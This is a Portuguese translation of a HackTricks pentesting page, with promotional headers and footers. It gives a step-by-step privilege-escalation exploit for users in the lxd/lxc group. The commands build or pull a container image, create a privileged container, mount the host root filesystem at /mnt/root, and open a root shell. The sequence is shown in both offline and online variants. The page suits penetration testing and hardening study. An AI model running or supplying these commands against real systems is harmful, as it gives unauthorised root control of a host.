6 KiB
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
Você trabalha em uma empresa de cibersegurança? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
-
Descubra A Família PEASS, nossa coleção exclusiva de NFTs
-
Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
-
Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e hacktricks-cloud repo.
Se você pertence ao grupo lxd ou lxc, pode se tornar root
Explorando sem internet
Você pode instalar em sua máquina este construtor de distribuição: https://github.com/lxc/distrobuilder (siga as instruções do github):
#Install requirements
sudo apt update
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
#Clone repo
go get -d -v github.com/lxc/distrobuilder
#Make distrobuilder
cd $HOME/go/src/github.com/lxc/distrobuilder
make
cd
#Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
#Create the container
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml
Em seguida, faça o upload dos arquivos lxd.tar.xz e rootfs.squashfs para o servidor.
Adicione a imagem:
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
lxc image list #You can see your new imported image
Criando um contêiner e adicionando o caminho root
O objetivo desta técnica é criar um contêiner LXD e adicionar o caminho root do host ao contêiner, permitindo assim que o usuário execute comandos como root dentro do contêiner.
Passo a passo
- Crie um contêiner LXD:
$ lxc init <image> <container>
- Inicie o contêiner:
$ lxc start <container>
- Monte o caminho root do host no contêiner:
$ lxc config device add <container> host-root disk source=/ path=/mnt/root recursive=true
- Entre no contêiner:
$ lxc exec <container> /bin/sh
- Verifique se o caminho root do host foi montado corretamente:
# ls /mnt/root
- Execute comandos como root dentro do contêiner:
# whoami
root
Conclusão
Com esta técnica, é possível executar comandos como root dentro do contêiner LXD, o que pode levar a uma escalada de privilégios se o contêiner não estiver devidamente configurado. É importante tomar medidas de segurança adequadas para garantir que o contêiner esteja protegido contra possíveis ataques.
lxc init alpine privesc -c security.privileged=true
lxc list #List containers
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
Execute o container:
lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
Com internet
Você pode seguir estas instruções.
lxc init ubuntu:16.04 test -c security.privileged=true
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
lxc start test
lxc exec test bash
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
Outras Referências
{% embed url="https://reboare.github.io/lxd/lxd-escape.html" caption="" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
-
Descubra A Família PEASS, nossa coleção exclusiva de NFTs
-
Adquira o swag oficial do PEASS & HackTricks
-
Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
-
Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e hacktricks-cloud repo.